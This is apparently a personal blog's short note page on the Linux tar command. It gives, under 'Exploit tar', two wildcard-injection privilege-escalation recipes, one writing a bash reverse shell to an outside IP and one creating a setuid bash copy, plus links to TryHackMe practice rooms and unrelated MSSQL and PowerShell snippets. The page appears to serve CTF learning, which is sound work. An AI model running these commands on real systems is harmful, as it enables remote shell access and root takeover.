Skip to main content

Linux command: tar

tar (Tape ARchive) - an archiving utility

Compress

Uncompress (extract)

Exploit tar

touch -- --checkpoint=1
touch -- "--checkpoint-action=exec=sh shell.sh"
echo -e "bash -c 'exec bash -i &>/dev/tcp/10.8.145.2/1234 <&1'" > shell.sh

Yet another version

touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ runme.sh
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > runme.sh

Practice

>>> THM | Cyborg

>>> THM | VulnNet

>>> THM | Gila CMesS

>>> THM | Linux PrivEsc Arena - Task 17 - Cron (Wildcards)

Labels:

Popular posts from this blog

MSSQL: Fix error 'Consistency validation for SQL Server registry keys'

While installing Microsof SQL Server 2012, I ran into the following error. "The SQL Server registry keys from a prior installation cannot be modified. To continue, see SQL Server Setup documentation about how to fix registry keys." How to fix Replace the D:\x64\FixSqlRegistryKey_x86.exe file with the original file from the ENU\SQLFULL_ENU.iso file downloading from Microsoft Download Center. This ISO file is 4.2GB. So you can click FixSqlRegistryKey_x86.exe to download this file only. After replacing that file, press Re-run to check. All rules are passed.
Read more

Powershell: Get-History

Get-History - Gets a list of the commands entered during the current session.
Read more

Powershell: Check Bad Logon

get-aduser -Filter {BadLogonCount -ne 0} -properties * | select SamAccountName,BadLogonCount,BadPasswordTime,BadPwdCount,@{name='badPasswordTimeDT'; expression={[datetime]::fromFileTime($_.badPasswordTime)}} | sort BadPasswordTime | FT
Read more